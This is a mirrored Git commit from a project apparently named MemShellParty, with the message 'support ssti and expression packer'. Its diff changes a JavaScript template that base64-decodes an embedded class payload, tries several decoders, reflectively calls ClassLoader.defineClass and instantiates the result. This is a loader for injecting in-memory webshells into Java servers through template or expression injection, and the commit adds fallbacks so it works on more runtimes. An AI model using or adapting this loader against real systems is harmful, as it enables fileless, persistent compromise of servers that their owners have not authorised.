mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 15:31:53 +08:00
feat: support ssti and expression packer
This commit is contained in:
@@ -4,7 +4,7 @@ var base64Str = "{{base64Str}}";
|
||||
try {
|
||||
classLoader.loadClass(className).newInstance();
|
||||
} catch (e) {
|
||||
var clsString = classLoader.loadClass('java.lang.String');
|
||||
var clsString = classLoader.loadClass("java.lang.String");
|
||||
var bytecode;
|
||||
try {
|
||||
var clsBase64 = classLoader.loadClass("java.util.Base64");
|
||||
@@ -12,14 +12,19 @@ try {
|
||||
var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz);
|
||||
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
|
||||
} catch (ee) {
|
||||
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
|
||||
try {
|
||||
var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
|
||||
} catch (eee) {
|
||||
var clazz1 = classLoader.loadClass("sun.misc.BASE64Decoder");
|
||||
bytecode = clazz1.newInstance().decodeBuffer(base64Str);
|
||||
}
|
||||
}
|
||||
var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');
|
||||
var clsByteArray = Java.type('byte[]').class;
|
||||
var clsClassLoader = classLoader.loadClass("java.lang.ClassLoader");
|
||||
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
||||
var clsInt = java.lang.Integer.TYPE;
|
||||
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
|
||||
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
|
||||
defineClass.setAccessible(true);
|
||||
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
|
||||
var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
||||
clazz.newInstance();
|
||||
}
|
||||
Reference in New Issue
Block a user